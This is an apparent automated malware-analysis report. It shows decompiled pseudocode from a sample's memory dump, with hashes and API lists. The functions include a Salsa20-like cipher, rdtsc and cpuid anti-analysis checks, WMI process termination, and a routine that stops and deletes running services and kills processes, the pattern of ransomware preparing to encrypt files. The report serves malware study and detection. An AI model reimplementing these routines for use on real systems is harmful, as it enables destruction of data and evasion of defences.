            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID:
            • API String ID:
            • Opcode ID: c72d2c98e8082b349bcdcbcb69ff11959da0f0692fd37bc75d600689193ac1b5
            • Instruction ID: 75c9d019499e143b77bb74439d41270a2e64d7dfc78978fa61672ce2723c68d3
            • Opcode Fuzzy Hash: c72d2c98e8082b349bcdcbcb69ff11959da0f0692fd37bc75d600689193ac1b5
            • Instruction Fuzzy Hash: 83D14A76B106418FD328CF2ED890626B7E1EB8C301B85C93DE459DB399DB34E915DBA0
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 69%
            			E01368C18(void* _a4, void* _a8) {
            				signed int _v8;
            				signed int _v12;
            				signed int _v16;
            				signed int _v20;
            				signed int _v24;
            				signed int _v28;
            				signed int _v32;
            				signed int _v36;
            				signed int _v40;
            				signed int _v44;
            				signed int _v48;
            				signed int _v52;
            				char _v56;
            				signed int _v60;
            				signed int _v64;
            				signed int _v68;
            				signed int _v72;
            				signed int _v76;
            				signed int _v80;
            				signed int _v84;
            				signed int _v88;
            				signed int _v92;
            				signed int _v96;
            				signed int _v100;
            				signed int _v104;
            				signed int _v108;
            				signed int _v112;
            				signed int _v116;
            				void _v120;
            				signed int _t167;
            				signed int _t198;
            				signed int _t200;
            				signed int _t206;
            				signed int _t210;
            				signed int _t216;
            				signed int _t218;
            				signed int _t229;
            				signed int _t230;
            				void* _t232;
            				signed int _t233;
            				signed int _t235;
            				signed int _t236;
            				signed int _t237;
            				signed int _t239;
            				signed int _t240;
            				signed int _t241;
            				signed int _t245;
            				signed int _t247;
            				signed int _t248;
            				signed int _t249;
            				signed int _t251;
            				signed int _t253;
            				signed int _t255;
            				signed int _t257;
            				signed int _t259;
            				signed int _t261;
            				signed int _t262;
            				signed int _t263;
            				signed int _t269;
            				signed int _t270;
            				void* _t272;
            
            				_t233 = 0x10;
            				_v56 = 0xa;
            				memcpy( &_v120, _a8, _t233 << 2);
            				_t245 = _v72;
            				_t235 = _v60;
            				_t239 = _v64;
            				_t269 = _v68;
            				_t229 = _v76;
            				_v8 = _v80;
            				_v36 = _v84;
            				_v24 = _v88;
            				_v48 = _v92;
            				_v44 = _v96;
            				_v32 = _v100;
            				_v20 = _v104;
            				_v40 = _v108;
            				_v16 = _v112;
            				_v12 = _v116;
            				_t167 = _v120;
            				_v52 = _t245;
            				_v28 = _t167;
            				do {
            					asm("rol eax, 0x7");
            					_v20 = _v20 ^ _t167 + _t245;
            					asm("rol eax, 0x9");
            					_v24 = _v24 ^ _v20 + _v28;
            					asm("rol eax, 0xd");
            					_t247 = _v52 ^ _v24 + _v20;
            					_v52 = _t247;
            					asm("rol eax, 0x12");
            					_v28 = _v28 ^ _v24 + _t247;
            					asm("rol eax, 0x7");
            					_v36 = _v36 ^ _v12 + _v32;
            					asm("rol eax, 0x9");
            					_t270 = _t269 ^ _v36 + _v32;
            					_t248 = _v44;
            					asm("rol eax, 0xd");
            					_v12 = _v12 ^ _v36 + _t270;
            					asm("rol eax, 0x12");
            					_v32 = _v32 ^ _v12 + _t270;
            					asm("rol eax, 0x7");
            					_t240 = _t239 ^ _v8 + _t248;
            					asm("rol eax, 0x9");
            					_v16 = _v16 ^ _v8 + _t240;
            					asm("rol eax, 0xd");
            					_t249 = _t248 ^ _v16 + _t240;
            					_v44 = _t249;
            					asm("rol eax, 0x12");
            					_v8 = _v8 ^ _v16 + _t249;
            					asm("rol eax, 0x7");
            					_t251 = _v40 ^ _t229 + _t235;
            					_v40 = _t251;
            					asm("rol eax, 0x9");
            					_t253 = _v48 ^ _t251 + _t235;
            					_v48 = _t253;
            					asm("rol eax, 0xd");
            					_t230 = _t229 ^ _v40 + _t253;
            					asm("rol eax, 0x12");
            					_t236 = _t235 ^ _t253 + _t230;
            					asm("rol eax, 0x7");
            					_v12 = _v12 ^ _v28 + _v40;
            					_t198 = _v12;
            					_v116 = _t198;
            					asm("rol eax, 0x9");
            					_v16 = _v16 ^ _t198 + _v28;
            					_t200 = _v16;
            					_v112 = _t200;
            					asm("rol eax, 0xd");
            					_t255 = _v40 ^ _t200 + _v12;
            					_v40 = _t255;
            					asm("rol eax, 0x12");
            					_v108 = _t255;
            					_t257 = _v28 ^ _v16 + _t255;
            					asm("rol eax, 0x7");
            					_v44 = _v44 ^ _v32 + _v20;
            					_t206 = _v44;
            					_v96 = _t206;
            					asm("rol eax, 0x9");
            					_v28 = _t257;
            					_v120 = _t257;
            					_t259 = _v48 ^ _t206 + _v32;
            					_v48 = _t259;
            					asm("rol eax, 0xd");
            					_v20 = _v20 ^ _v44 + _t259;
            					_t210 = _v20;
            					_v104 = _t210;
            					asm("rol eax, 0x12");
            					_v92 = _t259;
            					_t261 = _v32 ^ _t210 + _t259;
            					_v32 = _t261;
            					_v100 = _t261;
            					_t262 = _v36;
            					asm("rol eax, 0x7");
            					_t229 = _t230 ^ _v8 + _t262;
            					asm("rol eax, 0x9");
            					_v24 = _v24 ^ _v8 + _t229;
            					_t216 = _v24;
            					_v88 = _t216;
            					asm("rol eax, 0xd");
            					_t263 = _t262 ^ _t216 + _t229;
            					_t218 = _t263;
            					_v36 = _t263;
            					_v84 = _t218;
            					asm("rol eax, 0x12");
            					_v8 = _v8 ^ _t218 + _v24;
            					_v80 = _v8;
            					asm("rol eax, 0x7");
            					_t245 = _v52 ^ _t236 + _t240;
            					_v52 = _t245;
            					_v72 = _t245;
            					asm("rol eax, 0x9");
            					_t269 = _t270 ^ _t236 + _t245;
            					asm("rol eax, 0xd");
            					_t239 = _t240 ^ _t269 + _t245;
            					asm("rol eax, 0x12");
            					_t235 = _t236 ^ _t239 + _t269;
            					_t134 =  &_v56;
            					 *_t134 = _v56 - 1;
            					_t167 = _v28;
            				} while ( *_t134 != 0);
            				_v76 = _t229;
            				_v64 = _t239;
            				_t241 = 0;
            				_v60 = _t235;
            				_t232 = _a8 -  &_v120;
            				_v68 = _t269;
            				do {
            					 *((intOrPtr*)(_t272 + _t241 * 4 - 0x74)) =  *((intOrPtr*)(_t272 + _t241 * 4 - 0x74)) +  *((intOrPtr*)(_t272 + _t232 + _t241 * 4 - 0x74));
            					_t241 = _t241 + 1;
            				} while (_t241 < 0x10);
            				_t237 = 0x10;
            				return memcpy(_a4,  &_v120, _t237 << 2);
            			}
































































            0x01368c26
            0x01368c2a
            0x01368c31
            0x01368c36
            0x01368c39
            0x01368c3c
            0x01368c3f
            0x01368c42
            0x01368c45
            0x01368c4b
            0x01368c51
            0x01368c57
            0x01368c5d
            0x01368c63
            0x01368c69
            0x01368c6f
            0x01368c75
            0x01368c7b
            0x01368c7e
            0x01368c81
            0x01368c84
            0x01368c87
            0x01368c8c
            0x01368c8f
            0x01368c98
            0x01368c9b
            0x01368ca4
            0x01368ca7
            0x01368cae
            0x01368cb1
            0x01368cb4
            0x01368cbd
            0x01368cc0
            0x01368cc9
            0x01368ccc
            0x01368cce
            0x01368cd6
            0x01368cd9
            0x01368ce1
            0x01368ce4
            0x01368cec
            0x01368cef
            0x01368cf6
            0x01368cf9
            0x01368d01
            0x01368d04
            0x01368d0b
            0x01368d11
            0x01368d14
            0x01368d1a
            0x01368d1d
            0x01368d1f
            0x01368d28
            0x01368d2b
            0x01368d32
            0x01368d35
            0x01368d38
            0x01368d3d
            0x01368d40
            0x01368d48
            0x01368d4b
            0x01368d4e
            0x01368d51
            0x01368d57
            0x01368d5a
            0x01368d5d
            0x01368d60
            0x01368d66
            0x01368d6c
            0x01368d73
            0x01368d76
            0x01368d79
            0x01368d7f
            0x01368d87
            0x01368d8a
            0x01368d8d
            0x01368d90
            0x01368d96
            0x01368d99
            0x01368d9c
            0x01368da2
            0x01368da9
            0x01368dac
            0x01368daf
            0x01368db2
            0x01368db5
            0x01368dba
            0x01368dbd
            0x01368dc3
            0x01368dc8
            0x01368dcb
            0x01368dce
            0x01368dd3
            0x01368dd6
            0x01368ddd
            0x01368de0
            0x01368de3
            0x01368de6
            0x01368deb
            0x01368dee
            0x01368df0
            0x01368df2
            0x01368df8
            0x01368dfe
            0x01368e01
            0x01368e07
            0x01368e0d
            0x01368e10
            0x01368e12
            0x01368e15
            0x01368e1b
            0x01368e1e
            0x01368e23
            0x01368e26
            0x01368e2b
            0x01368e2e
            0x01368e30
            0x01368e30
            0x01368e34
            0x01368e34
            0x01368e3d
            0x01368e46
            0x01368e49
            0x01368e4b
            0x01368e4e
            0x01368e50
            0x01368e53
            0x01368e5a
            0x01368e5e
            0x01368e5f
            0x01368e6c
            0x01368e75

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID:
            • API String ID:
            • Opcode ID: 94389a93e62d7c07f5c1ac272210a142c76ffef6fb536e77bacda6aa42c1b665
            • Instruction ID: 04f61a707173d7b384b712adf3807d1561e3dbb2072c286fa672fa04c4a94330
            • Opcode Fuzzy Hash: 94389a93e62d7c07f5c1ac272210a142c76ffef6fb536e77bacda6aa42c1b665
            • Instruction Fuzzy Hash: 6BA17DB6D002099FCF40CFA9C981ADEFBF5FF88254F24816AD414F7201E274AA558F94
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 72%
            			E01365D29(signed char __eax, signed int __edx, signed char* _a4) {
            				void* _v5;
            				signed char _v12;
            				signed char _v20;
            				signed char _t11;
            				void* _t12;
            				void* _t14;
            				signed char _t19;
            				void* _t23;
            				signed char _t25;
            				signed char _t28;
            				signed int _t29;
            				signed int _t31;
            				signed char _t32;
            				signed int _t34;
            				void* _t36;
            				signed int _t38;
            				signed int _t40;
            				void* _t42;
            
            				_t29 = __edx;
            				_t11 = __eax;
            				_t23 = 0;
            				do {
            					asm("rdtsc");
            					_t32 = _t11;
            					_t12 = E01365DD3();
            					asm("rdtsc");
            					_v20 = _t12 - _t32;
            					asm("sbb ecx, edi");
            					_v12 = _t29;
            					_t14 = E01365DD3();
            					_t25 = _v20;
            					asm("rdtsc");
            					asm("sbb edx, [ebp-0x8]");
            					_t11 = _t14 - _t25 - _t32;
            					_v20 = _t11;
            					asm("sbb edx, edi");
            					_t31 = _v12;
            					_t38 = _t31;
            					if(_t38 <= 0 && (_t38 < 0 || _t25 <= 0xffffffff)) {
            						_t40 = _t29;
            						if(_t40 <= 0 && (_t40 < 0 || _t11 <= 0xffffffff)) {
            							_t34 = _t25 - _t11;
            							asm("sbb edi, edx");
            							asm("cdq");
            							_t11 = _t31 ^ _t29;
            							_t36 = (_t34 ^ _t29) - _t29;
            							_t42 = _t36;
            							asm("sbb eax, edx");
            							_v12 = _t11;
            							if(_t42 >= 0 && (_t42 > 0 || _t36 >= 0x40)) {
            								_v5 = E01365C5D(_t25);
            								_t19 = E01365C5D(_v20);
            								_t28 = _v5;
            								_t11 = _t19 ^ _t28;
            								if(_t11 != 0) {
            									 *_a4 = _t28;
            									return 1;
            								}
            							}
            						}
            					}
            					_t23 = _t23 + 1;
            				} while (_t23 < 0x80);
            				return 0;
            			}





















            0x01365d29
            0x01365d29
            0x01365d32
            0x01365d34
            0x01365d34
            0x01365d36
            0x01365d3a
            0x01365d3f
            0x01365d45
            0x01365d48
            0x01365d4a
            0x01365d4d
            0x01365d52
            0x01365d55
            0x01365d59
            0x01365d5c
            0x01365d5e
            0x01365d61
            0x01365d63
            0x01365d66
            0x01365d68
            0x01365d71
            0x01365d73
            0x01365d7e
            0x01365d80
            0x01365d84
            0x01365d85
            0x01365d89
            0x01365d89
            0x01365d8b
            0x01365d8d
            0x01365d90
            0x01365da2
            0x01365da5
            0x01365dac
            0x01365daf
            0x01365db1
            0x01365dcc
            0x00000000
            0x01365dd0
            0x01365db1
            0x01365d90
            0x01365d73
            0x01365db3
            0x01365db4
            0x00000000

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: time$Time$BeginPeriodSleep
            • String ID:
            • API String ID: 4118631919-0
            • Opcode ID: fc29b22b782b8560c203740e77577da81cb83bbd114b6084b10493fc8158ca25
            • Instruction ID: 06e198ede08ffd785ba3584683235363e24156a6acf8119ca002a58ca8fb8c8f
            • Opcode Fuzzy Hash: fc29b22b782b8560c203740e77577da81cb83bbd114b6084b10493fc8158ca25
            • Instruction Fuzzy Hash: 72113875E102645BDF1C8EBC49485DEBFBEDFA50E8B19C779D824E32CCD53088064280
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 62%
            			E01365235(intOrPtr __edx, intOrPtr _a4) {
            				intOrPtr _v8;
            				intOrPtr _v12;
            				char _v28;
            				intOrPtr _t13;
            				intOrPtr* _t17;
            				intOrPtr* _t24;
            
            				_t13 = 0;
            				_v8 = 0;
            				_v12 = _a4;
            				do {
            					_push(_t17);
            					asm("cpuid");
            					_t24 = _t17;
            					_t17 =  &_v28;
            					 *_t17 = _t13 + 0x80000002;
            					 *((intOrPtr*)(_t17 + 4)) = _t24;
            					_t13 = _v8 + 1;
            					 *((intOrPtr*)(_t17 + 8)) = 0;
            					 *((intOrPtr*)(_t17 + 0xc)) = __edx;
            					_v8 = _t13;
            					asm("movsd");
            					asm("movsd");
            					asm("movsd");
            					asm("movsd");
            					_v12 = _v12 + 0x10;
            				} while (_t13 < 3);
            				return _a4;
            			}









            0x01365241
            0x01365243
            0x01365246
            0x01365249
            0x01365250
            0x01365251
            0x01365253
            0x01365256
            0x01365259
            0x0136525e
            0x01365261
            0x01365262
            0x01365267
            0x0136526a
            0x0136526d
            0x0136526e
            0x0136526f
            0x01365270
            0x01365277
            0x0136527a
            0x01365288

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID:
            • API String ID:
            • Opcode ID: 47c376b581d24c7d1e1a0f35ff1822e68f57d00c0a892bdfc065d503b3469f08
            • Instruction ID: fe820cb3262ab13b6f3c8a778ae7ea4e66a266dbfefa572bfcca1ff5dc958cd3
            • Opcode Fuzzy Hash: 47c376b581d24c7d1e1a0f35ff1822e68f57d00c0a892bdfc065d503b3469f08
            • Instruction Fuzzy Hash: 58F0FFB1901208AFCB45CF9DD88559EFBF5EF49264F2581AAE908EB301D2719A408BA0
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E013658ED() {
            
            				return ( *( *[fs:0x30] + 0xa4) & 0x000000ff) << 0x00000008 |  *( *[fs:0x30] + 0xa8) & 0x000000ff;
            			}



            0x01365909

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID:
            • API String ID:
            • Opcode ID: 509f6a94fdf042510e336dd1cc9cd65acd2f16b80682f34016c6142793c3d862
            • Instruction ID: 2f92208e2cd7eb6c465aa2c1d9d9ad2e0d5e4d52fdcf87f58a77acdaf95c176a
            • Opcode Fuzzy Hash: 509f6a94fdf042510e336dd1cc9cd65acd2f16b80682f34016c6142793c3d862
            • Instruction Fuzzy Hash: 15B092682066D149C396621582B83B07FA0EB83556F2800FD94EB0E883855E021BDB11
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E013655F9() {
            
            				return  *[fs:0x30];
            			}



            0x013655ff

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID:
            • API String ID:
            • Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
            • Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
            • Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
            • Instruction Fuzzy Hash:
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 41%
            			E01362DD6(intOrPtr _a4, intOrPtr* _a8) {
            				void* _v8;
            				void* _v12;
            				void* _v16;
            				intOrPtr _v20;
            				intOrPtr _v28;
            				char _v36;
            				intOrPtr _v44;
            				char _v52;
            				void* _t42;
            				intOrPtr _t43;
            				intOrPtr _t49;
            				intOrPtr* _t59;
            				intOrPtr* _t61;
            				intOrPtr* _t63;
            				short _t65;
            				intOrPtr* _t66;
            				intOrPtr* _t68;
            				void* _t70;
            				intOrPtr* _t71;
            				intOrPtr* _t72;
            				intOrPtr* _t73;
            				intOrPtr* _t74;
            				void* _t88;
            				intOrPtr* _t90;
            				intOrPtr* _t91;
            				intOrPtr _t92;
            				intOrPtr* _t93;
            				intOrPtr* _t94;
            
            				_t90 = __imp__#8;
            				_v12 = 0;
            				_v8 = 0;
            				_v16 = 0;
            				 *_t90( &_v52);
            				 *_t90( &_v36);
            				_t91 = __imp__#2;
            				_t42 =  *_t91(L"Terminate");
            				_t70 = _t42;
            				_t43 =  *_t91(L"Win32_Process");
            				_t92 = _a4;
            				_v20 = _t43;
            				_t71 =  *((intOrPtr*)(_t92 + 0xc));
            				_t88 =  *((intOrPtr*)( *_t71 + 0x18))(_t71, _t43, 0, 0,  &_v16, 0);
            				if(_t88 >= 0) {
            					_t59 = _a8;
            					_t88 =  *((intOrPtr*)( *_t59 + 0x10))(_t59, L"__PATH", 0,  &_v52, 0, 0);
            					if(_t88 >= 0) {
            						_t61 = _v16;
            						_t88 =  *((intOrPtr*)( *_t61 + 0x4c))(_t61, _t70, 0,  &_v12, 0);
            						if(_t88 >= 0) {
            							_t63 = _v12;
            							_t88 =  *((intOrPtr*)( *_t63 + 0x3c))(_t63, 0,  &_v8);
            							if(_t88 >= 0) {
            								_t65 = 3;
            								_v36 = _t65;
            								_t66 = _v8;
            								_v28 = 0x3039;
            								_t88 =  *((intOrPtr*)( *_t66 + 0x14))(_t66, L"Reason", 0,  &_v36, 0);
            								if(_t88 >= 0) {
            									_t68 =  *((intOrPtr*)(_t92 + 0xc));
            									_t88 =  *((intOrPtr*)( *_t68 + 0x60))(_t68, _v44, _t70, 0, 0, _v8, 0, 0);
            								}
            							}
            						}
            					}
            				}
            				_t72 = _v8;
            				if(_t72 != 0) {
            					 *((intOrPtr*)( *_t72 + 8))(_t72);
            				}
            				_t73 = _v12;
            				if(_t73 != 0) {
            					 *((intOrPtr*)( *_t73 + 8))(_t73);
            				}
            				_t74 = _v16;
            				if(_t74 != 0) {
            					 *((intOrPtr*)( *_t74 + 8))(_t74);
            				}
            				_t93 = __imp__#9;
            				 *_t93( &_v52);
            				 *_t93( &_v36);
            				_t94 = __imp__#6;
            				if(_t70 != 0) {
            					 *_t94(_t70);
            				}
            				_t49 = _v20;
            				if(_t49 != 0) {
            					 *_t94(_t49);
            				}
            				return _t88;
            			}































            0x01362dde
            0x01362deb
            0x01362dee
            0x01362df1
            0x01362df4
            0x01362dfa
            0x01362dfc
            0x01362e07
            0x01362e0e
            0x01362e10
            0x01362e12
            0x01362e19
            0x01362e1d
            0x01362e2b
            0x01362e2f
            0x01362e35
            0x01362e4c
            0x01362e50
            0x01362e52
            0x01362e64
            0x01362e68
            0x01362e6a
            0x01362e79
            0x01362e7d
            0x01362e81
            0x01362e84
            0x01362e8b
            0x01362e91
            0x01362ea3
            0x01362ea7
            0x01362ea9
            0x01362ebf
            0x01362ebf
            0x01362ea7
            0x01362e7d
            0x01362e68
            0x01362e50
            0x01362ec1
            0x01362ec6
            0x01362ecb
            0x01362ecb
            0x01362ece
            0x01362ed3
            0x01362ed8
            0x01362ed8
            0x01362edb
            0x01362ee0
            0x01362ee5
            0x01362ee5
            0x01362ee8
            0x01362ef2
            0x01362ef8
            0x01362efa
            0x01362f02
            0x01362f05
            0x01362f05
            0x01362f07
            0x01362f0c
            0x01362f0f
            0x01362f0f
            0x01362f19

            APIs
            • VariantInit.OLEAUT32(01362A56), ref: 01362DF4
            • VariantInit.OLEAUT32(?), ref: 01362DFA
            • SysAllocString.OLEAUT32(Terminate), ref: 01362E07
            • SysAllocString.OLEAUT32(Win32_Process), ref: 01362E10
            • VariantClear.OLEAUT32(?), ref: 01362EF2
            • VariantClear.OLEAUT32(?), ref: 01362EF8
            • SysFreeString.OLEAUT32(00000000), ref: 01362F05
            • SysFreeString.OLEAUT32(00000000), ref: 01362F0F
            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: StringVariant$AllocClearFreeInit
            • String ID: 90$Reason$Terminate$Win32_Process$__PATH
            • API String ID: 760788290-348625380
            • Opcode ID: dee870a2d33504f50a1f2789f377f92602850b6840ca5139ae2d44d4988164e2
            • Instruction ID: e2aa23f20871a1a9689dc434453895ef00c84094e4484d25531cd0cf8d543003
            • Opcode Fuzzy Hash: dee870a2d33504f50a1f2789f377f92602850b6840ca5139ae2d44d4988164e2
            • Instruction Fuzzy Hash: E3414675A00209AFDB10CBE5CC84EAEBBBDEFC8714F158459EA15EB254DA71E9018B60
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 51%
            			E01365DF8(void* __ebx, void* __ecx, void* __edx, void* __esi, void* __eflags, char _a4) {
            				int _v8;
            				char _v12;
            				char _v16;
            				char _v20;
            				void _v44;
            				struct _SERVICE_STATUS _v48;
            				char _v116;
            				char _v6796;
            				void* _t25;
            				void* _t26;
            				long _t41;
            				void* _t42;
            				int _t57;
            				void* _t58;
            				signed int _t61;
            				int _t66;
            				void* _t68;
            				long* _t73;
            				void* _t74;
            				void* _t75;
            
            				E0136CE20();
            				_t66 = 0;
            				E01364FE3( &_v116, 0, 0x42);
            				_t75 = _t74 + 0xc;
            				_t25 = E013658ED();
            				_t77 = _t25 - 0x600;
            				if(_t25 < 0x600 || E0136602C(__edx, _t77) == 0) {
            					L22:
            					_t26 = 0;
            					__eflags = 0;
            					goto L23;
            				} else {
            					 *0x1371f80 = OpenSCManagerW(0, L"ServicesActive", 4);
            					_push( &_v116);
            					_push(0);
            					_push(0x137139c);
            					if( *0x13714fc() != 0) {
            						goto L22;
            					}
            					_push(0);
            					_push(0);
            					_push(0);
            					_push(0);
            					_push( &_a4);
            					_push(1);
            					_push( *0x137139c);
            					if( *0x13716c4() != 0) {
            						goto L22;
            					}
            					_v12 = 0xa;
            					_push( &_v16);
            					_push( &_v6796);
            					_push( &_v12);
            					_push( &_v20);
            					_push( *0x137139c);
            					if( *0x1371698() != 0) {
            						L21:
            						 *0x1371650( *0x137139c);
            						CloseServiceHandle( *0x1371f80);
            						_t26 = 1;
            						L23:
            						return _t26;
            					}
            					_t57 = 0;
            					_v8 = 0;
            					if(_v12 <= 0) {
            						goto L21;
            					}
            					_t73 =  &_v6796;
            					do {
            						_t41 = _t73[0xa3];
            						if(_t41 != 3) {
            							__eflags =  *_t73 - 4;
            							if( *_t73 == 4) {
            								goto L20;
            							}
            							__eflags = _t41 - 0x3e8;
            							if(_t41 == 0x3e8) {
            								goto L20;
            							}
            							L16:
            							_t42 = E01365115( *_t73);
            							_pop(0);
            							__eflags = _t42;
            							if(_t42 != 0) {
            								goto L20;
            							}
            							_t68 = OpenProcess(1, _t66,  *_t73);
            							__eflags = _t68;
            							if(_t68 != 0) {
            								TerminateProcess(_t68, 0);
            								E013651FE(_t68);
            								_pop(0);
            							}
            							L19:
            							E013650C8(0,  *_t73);
            							_t57 = _v8;
            							goto L20;
            						}
            						_t58 = OpenServiceW( *0x1371f80,  &(_t73[0x83]), 0x10020);
            						if(_t58 == 0) {
            							goto L21;
            						}
            						_t61 = 6;
            						_v48 = _t66;
            						memset( &_v44, 0, _t61 << 2);
            						_t75 = _t75 + 0xc;
            						if(ControlService(_t58, 1,  &_v48) == 0) {
            							_t57 = _v8;
            							_t66 = 0;
            							__eflags = 0;
            							goto L16;
            						}
            						if(DeleteService(_t58) == 0) {
            							goto L21;
            						}
            						CloseServiceHandle(_t58);
            						goto L19;
            						L20:
            						_t57 = _t57 + 1;
            						_t73 =  &(_t73[0xa7]);
            						_v8 = _t57;
            						_t66 = 0;
            					} while (_t57 < _v12);
            					goto L21;
            				}
            			}























            0x01365e00
            0x01365e08
            0x01365e0f
            0x01365e14
            0x01365e17
            0x01365e21
            0x01365e24
            0x01365fa3
            0x01365fa3
            0x01365fa3
            0x00000000
            0x01365e37
            0x01365e45
            0x01365e4d
            0x01365e4e
            0x01365e4f
            0x01365e5c
            0x00000000
            0x00000000
            0x01365e62
            0x01365e63
            0x01365e64
            0x01365e65
            0x01365e69
            0x01365e6a
            0x01365e6c
            0x01365e7a
            0x00000000
            0x00000000
            0x01365e85
            0x01365e8c
            0x01365e93
            0x01365e97
            0x01365e9b
            0x01365e9c
            0x01365eaa
            0x01365f84
            0x01365f8a
            0x01365f96
            0x01365f9f
            0x01365fa5
            0x01365fa9
            0x01365fa9
            0x01365eb0
            0x01365eb2
            0x01365eb8
            0x00000000
            0x00000000
            0x01365ebe
            0x01365ec4
            0x01365ec4
            0x01365ecd
            0x01365f23
            0x01365f26
            0x00000000
            0x00000000
            0x01365f28
            0x01365f2d
            0x00000000
            0x00000000
            0x01365f36
            0x01365f38
            0x01365f3d
            0x01365f3e
            0x01365f40
            0x00000000
            0x00000000
            0x01365f4d
            0x01365f4f
            0x01365f51
            0x01365f56
            0x01365f5d
            0x01365f62
            0x01365f62
            0x01365f63
            0x01365f65
            0x01365f6a
            0x00000000
            0x01365f6d
            0x01365ee7
            0x01365eeb
            0x00000000
            0x00000000
            0x01365ef3
            0x01365ef4
            0x01365efc
            0x01365efc
            0x01365f0d
            0x01365f31
            0x01365f34
            0x01365f34
            0x00000000
            0x01365f34
            0x01365f18
            0x00000000
            0x00000000
            0x01365f1b
            0x00000000
            0x01365f6e
            0x01365f6e
            0x01365f6f
            0x01365f77
            0x01365f7a
            0x01365f7b
            0x00000000
            0x01365ec4

            APIs
              • Part of subcall function 0136602C: VerSetConditionMask.KERNEL32(00000000,00000000,00000080,00000001,?,00000000,?), ref: 01366086
              • Part of subcall function 0136602C: VerifyVersionInfoW.KERNEL32 ref: 01366096
            • OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000004,?,0136343F,?), ref: 01365E3F
            • OpenServiceW.ADVAPI32(?,00010020), ref: 01365EE1
            • ControlService.ADVAPI32(00000000,00000001,?), ref: 01365F05
            • DeleteService.ADVAPI32(00000000), ref: 01365F10
            • CloseServiceHandle.ADVAPI32(00000000), ref: 01365F1B
            • OpenProcess.KERNEL32(00000001,00000000,?), ref: 01365F47
            • TerminateProcess.KERNEL32(00000000,00000000), ref: 01365F56
            • CloseServiceHandle.ADVAPI32 ref: 01365F96
            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
